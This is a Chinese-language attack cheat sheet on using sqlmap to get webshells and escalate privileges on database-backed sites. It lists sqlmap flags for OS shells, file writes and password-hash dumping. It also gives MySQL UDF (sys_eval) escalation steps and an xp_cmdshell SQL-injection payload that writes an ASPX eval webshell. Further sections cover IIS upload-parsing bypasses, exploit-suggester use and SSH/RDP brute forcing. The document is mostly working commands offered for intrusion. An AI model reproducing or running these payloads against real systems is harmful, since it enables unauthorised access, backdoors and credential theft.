滲透思路千萬條,只要有一條通往成功獲取webshell的道路即可,所以不必一定糾結於必須要使用sqlmap
一. sqlmap獲取webshell及提權常見命令
1. sqlmap常見獲取webshell的相關命令
(1) MSSQL判斷是否是DBA權限
--is-dba
(2) 數據庫交互模式shell
--sql-shell
(3) 操作系統交互命令
--os-cmd=net user 這里一般是Windows的DOS命令或者Linux的終端命令
(4) 文件讀取和寫入命令
--file-read=RFILE 從后台數據庫管理系統中讀取文件
--file-write=WFILE 編輯后端數據庫管理系統上的本地文件WFILE
--file-dest=DFILE 后端數據庫管理系統寫入文件的絕對路徑
(5) 數據庫權限提升
--priv-esc 數據庫進程用戶權限提升
(6) meterpreter提權(作者說實際測試並未成功過,可以當作一個思路來記錄)
--os-pwn 獲取一個OOB shell , meterpreter或者VNC
--os-smbrelay 一鍵獲取一個OOB shell ,meterpreter或者VNC
--os-bof 存儲過程緩沖區溢出利用
(7) 獲取數據庫root賬號密碼及其他賬號密碼,sa權限用戶獲取當前MSSQL下用戶密碼
--passwords 枚舉數據庫管理系統用戶密碼哈希值,程序會自動對密碼進行破解,破解不了會列出hash讓你自己破解
2. MySQL數據庫直接連接提權
sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell
3. MySQL數據庫sql-shell下UDF提權
(1) 連接數據庫
sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell
(2) 查看版本
select @@version;
(3) 查看插件目錄
select @@plugin_dir;
(4) 操作sqlmap上傳lib_mysqludf_sys到MySQL插件目錄
sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\\phpstudy\\bin\\mysql\\lib\plugin\\lib_mysqludf_sys.dll
(5) 創建sys_exec函數
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
(6) 創建sys_eval函數
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
(7) 執行命令
select sys_eval('ver');
select sys_eval('whoami');
select sys_eval('net user');
4. MSSQL直連數據庫
1. 安裝所需要的模塊
pip install pymssql
pip install pyodbc
apt-get install unixodbc -y
按照上述安裝,還是不成功,大家可以自己測試下,連接MSSQL數據庫Windows下好多好用的連接工具
二. 直連獲取shell(獲取webshell或shell條件)
sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell
1. PHP+MySQL類型網站獲取webshell
(1) MySQL root賬號權限,即配置MySQL連接的賬號為root賬號,不是root賬號具備root權限也可
(2) GPC配置關閉,能使用單引號
(3) 有網站的絕對路徑,且具備可以在文件夾寫入文件的權限
(4) 沒有配置secure-file-priv屬性
2. MSSQL+ASP/ASP.net類型網站獲取webshell條件
(1) 數據庫用戶是sa
(2) 能夠創建xp_cmdshell
(3) 知道真實路徑
(4) 可以通過echo命令生成shell
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--
三. 獲取webshell權限思路及命令
1. PHP類型網站獲取webshell權限思路
(1) 獲取os-shell
sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell
(2) 選擇4PHP類型的語言
(3) 物理路徑的選擇
普通路徑,指定路徑,指定字典文件進行暴力破解,暴力搜索地址
(4) 獲取webshell
在sqlmap中無法直接獲取webshell,如果--os-shell整個命令執行完成,就會上傳兩個文件,sqlmap會給你提示上傳的文件名,一個文件是后門文件,可以通過參數傳遞命令直接執行shell,另一個文件是文件上傳功能頁面,訪問這個頁面可以直接上傳文件
(5) PHP獲取webshell難點
在整個過程中獲取網站的真實物理路徑是最重要的,一般可以通過phpinfo函數,測試頁面,及報錯信息,搜素引擎,目錄爆破的方式來獲取網站的真實物理路徑,如果獲取到了管理員的賬號,能夠登錄后台,如果后台有一些探針功能或者是系統運行情況的頁面,那么也可以獲取真實的物理路徑,如果實在無法獲取那只能暴力猜解或者社工等其他方式。
2. 直接寫入webshell到網站
sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php
bmfx.php是攻擊者本地文件,shell.php是上傳到目標站點的文件名稱
3. os-shell下載文件執行
4. 通過sqlmap連接MySQL獲取shell
5. 賬號登錄管理后台,尋找上傳點
(1) 后台直接上傳webshell
(2) 抓包構建繞過防護上傳webshell
(3) IIS 6 畸形文件漏洞繞過,即上傳1.asp;jpg圖片一句話
(4) IIS 7 CGI解析漏洞,上傳webshell圖片文件,訪問http://www.xxx.com/1.jpg/1.php
(5) FCK文件兩次上傳獲取webshell
(6) 其他上傳漏洞獲取webshell
四. 獲取system權限思路
1. MSSQL和MySQL數據庫獲取system權限
(1) 生成系統信息
systeminfo > bmfx.txt
(2) 使用windows-exploit-suggester.py 檢查是否存在未打補丁的漏洞
(3) 找到漏洞對應exp直接提權
2. 直接獲取system權限
有些服務器是直接使用高權限啟動服務,可以通過sqlmap直接獲取系統權限
3. 社工提權
有些root/sa賬號對應的數據庫密碼就是系統Windows/Linux系統的管理員密碼
4. 密碼賬號暴力破解
通過前面獲取到系統准確的賬號信息,可以嘗試SSH/RDP賬號的暴力破解